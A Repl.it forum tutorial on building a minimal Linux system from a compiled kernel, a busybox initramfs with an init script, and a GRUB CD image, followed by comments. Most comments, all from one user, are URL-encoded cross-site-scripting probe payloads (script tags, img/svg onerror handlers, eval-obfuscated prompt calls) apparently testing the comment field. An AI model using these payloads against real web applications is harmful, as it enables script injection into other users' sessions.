Learn to Code via Tutorials on Repl.it!

← Back to all posts
Creating a Simple Linux System
h
programmeruser (615)

Prerequisites

You need to have a few tools installed, specifically a cross compiler, QEMU, and GRUB. You'll also need Flex, Bison, make, and OpenSSL.
To install a cross compiler, go to https://wiki.osdev.org/GCC_Cross-Compiler#External_Links and download one for the target i686-elf.
I recommend installing into a directory such as /usr/cross and adding those paths to the PATH variable.
You'll also need to create some symlinks:

ln -sf /usr/cross/bin/i686-elf-gcc /usr/cross/bin/x86-gcc # or wherever the cross compiler is
ln -sf /usr/cross/bin/i686-elf-as /usr/cross/bin/x86-as
ln -sf /usr/cross/bin/i686-elf-ld /usr/cross/bin/x86-ld

To install the other packages on Arch Linux:

sudo pacman -S qemu grub openssl base-devel

For Ubuntu or Debian:

sudo apt-get install qemu grub2-common grub-pc-bin libssl-dev build-essential flex bison 

For Fedora:

# I don't have a fedora system and the online package search is down now, if any of you have a fedora system please tell me the package names

( @firefish help)

Building the Linux kernel from source

First, we need to build the Linux kernel from source. You could just use /boot/vmlinuz but I will show you how to build it from source so that we have full control over the build.
First, download it, and extract the tarball:

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.10.7.tar.xz
tar -xf linux-5.10.7.tar.xz
cd linux-5.10.7

Now we need to create the configuration for the i386 architecture:

make ARCH=x86- i386_defconfig

And now, we build the compressed linux kernel:

make bzImage

Now, wait for it to finish building.
Once it's finished building, copy the resulting kernel:

cp arch/i386/boot/bzImage ../vmlinuz

And exit the directory:

cd ..

You can test the kernel with:

qemu-system-i386 -kernel vmlinuz

The kernel will print a lot of messages, then it'll panic about not being able to find a VFS. This is because we haven't created a initial ramdisk yet!

Creating the initial RAM filesystem

When a linux computer boots, a bootloader loads a linux kernel, and something which is known as an initial ramdisk. The initial ramdisk usually contains a filesystem. The Linux kernel tries to run the init script in that filesystem /init, and when it fails, it panics.

Creating the filesystem hiearchy

First, we need to create the filesystem hiearchy:

mkdir -p initramfs/{bin,dev,etc,lib,mnt,proc,sbin,sys,tmp,var}
mkdir -p initramfs/usr/{lib,bin,sbin}

Using busybox

We could theoretically compile glibc and every GNU coreutils. But for simplicity, we'll use busybox, which puts many of these programs into one executable.
We can download a busybox binary with:

wget -O ./initramfs/bin/busybox https://busybox.net/downloads/binaries/1.30.0-i686/busybox

And to create a symlink to busybox for the shell:

ln -s ./initramfs/bin/busybox ./initramfs/bin/sh

Creating the init script

We need to create the /init script, which is the executable that will be run on startup.
Put this into ./initramfs/init. I'll explain every part of this in the comments:

#!/bin/sh
/bin/busybox --install -s # tell busybox to install itself with symlinks
# mount system directories
mount -t proc proc /proc
mount -t sys /sys
# disable kernel messages
echo 0 > /proc/sys/kernel/printk
# create device nodes
mknod -m 666 /dev/null c 1 3
mknod -m 666 /dev/tty c 5 0
mdev -s
# clear the screen
clear
# run the shell with cttyhack (see https://busybox.net/FAQ.html#job_control)
setsid cttyhack sh

Now we need to create the cpio archive and gzip it (credits go to this tutorial):

cd initramfs
find . | cpio -H newc -o > ../initramfs.cpio
cd ..
cat initramfs.cpio | gzip > initramfs.gz
rm initramfs.cpio

Finally, we can test this in QEMU with:

qemu-system-i386 -kernel vmlinuz -initrd initramfs.gz

You should be dropped into an interactive shell!

Creating a CD image

This is great, but how do we run this on real hardware? The answer is that we need to create a CD image.
We can use grub-mkrescue for this.
First, create the CD root directory:

mkdir -p iso_dir/boot/grub

Then, we need to create a grub configuration. Put this into ./iso_dir/boot/grub/grub.cfg

menuentry "My Linux Distro" {
  linux /boot/vmlinuz 
  initrd /boot/initramfs.gz
}

Now copy the files into the ./iso_dir/boot directory:

cp ./vmlinuz ./iso_dir/boot/vmlinuz
cp ./initramfs.gz ./iso_dir/boot/initramfs.gz

And create the CD image:

grub-mkrescue -o my_linux_distro.iso iso_dir

To test this in QEMU:

qemu-system-i386 -cdrom my_linux_distro.iso

And you're done!

Comments
hotnewtop
rankdost (0)

Sam%3cscript%5cx09type%3d%22text%2fjavascript%22%3ejavascript%3aalert(1)%3b%3c%2fscript%3eh

rankdost (0)

Sam%3cscript%5cx3Etype%3d%22text%2fjavascript%22%3ejavascript%3aalert(1)%3b%3c%2fscript%3eh

rankdost (0)

Sam%3c%2fscrip%3c%2fscript%3et%3e%3cimg%20src%20%3dq%20onerror%3dprompt(8)%3eh

rankdost (0)

Sam%3cscript%5cx20type%3d%22text%2fjavascript%22%3ejavascript%3aalert(1)%3b%3c%2fscript%3eh

rankdost (0)

Sam%3cscript%5cx0Dtype%3d%22text%2fjavascript%22%3ejavascript%3aalert(1)%3b%3c%2fscript%3eh

rankdost (0)

Sam%3cimg%20src%20%3dq%20onerror%3dprompt(8)%3eh

rankdost (0)

Sam%3cimage%20src%20%3dq%20onerror%3dprompt(8)%3eh

rankdost (0)

Sam%3cimg%20src%2fonerror%3dprompt(8)%3eh

rankdost (0)

Sam%3cimage%20src%2fonerror%3dprompt(8)%3eh

rankdost (0)

Sam%3cimg%2fsrc%2fonerror%3dprompt(8)%3eh

rankdost (0)

Sam%3cimage%2fsrc%2fonerror%3dprompt(8)%3eh

rankdost (0)

Sam%22onclick%3dprompt(8)%3e%3csvg%2fonload%3dprompt(8)%3e%[email protected]%2eyh

rankdost (0)

Sam%22onclick%3dprompt(8)%3e%[email protected]%2eyh

rankdost (0)

Sam'-eval(%22window'pro'%2B'mpt'%22)-'h

rankdost (0)

Sam%22-eval(%22window'pro'%2B'mpt'%22)-%22h

rankdost (0)

Sam'%3ba%3dprompt,a()%2f%2fh

rankdost (0)

Sam'-prompt(8)-'h

rankdost (0)

Sam%22%3ba%3dprompt,a()%2f%2fh

rankdost (0)

Sam%22-prompt(8)-%22h

deliciouscupcak (0)

When I run it in a vm I get an initramfs error! :(
.-.-.-.
[ 6.928259] Failed to execute /init (error -2)
[ 6.931476] Run /sbin/init as init process
[ 6.936972] Run /etc/init as init process
[ 6.940077] Run /bin/init as init process
[ 6.942810] Run /bin/sh as init process
[ 6.955143] Kernel panic - not syncing: No working init found. Try passing init= option to kernel. See Linux Documentation/admin-guide/init.rst for guidance.
.-.-.-.-.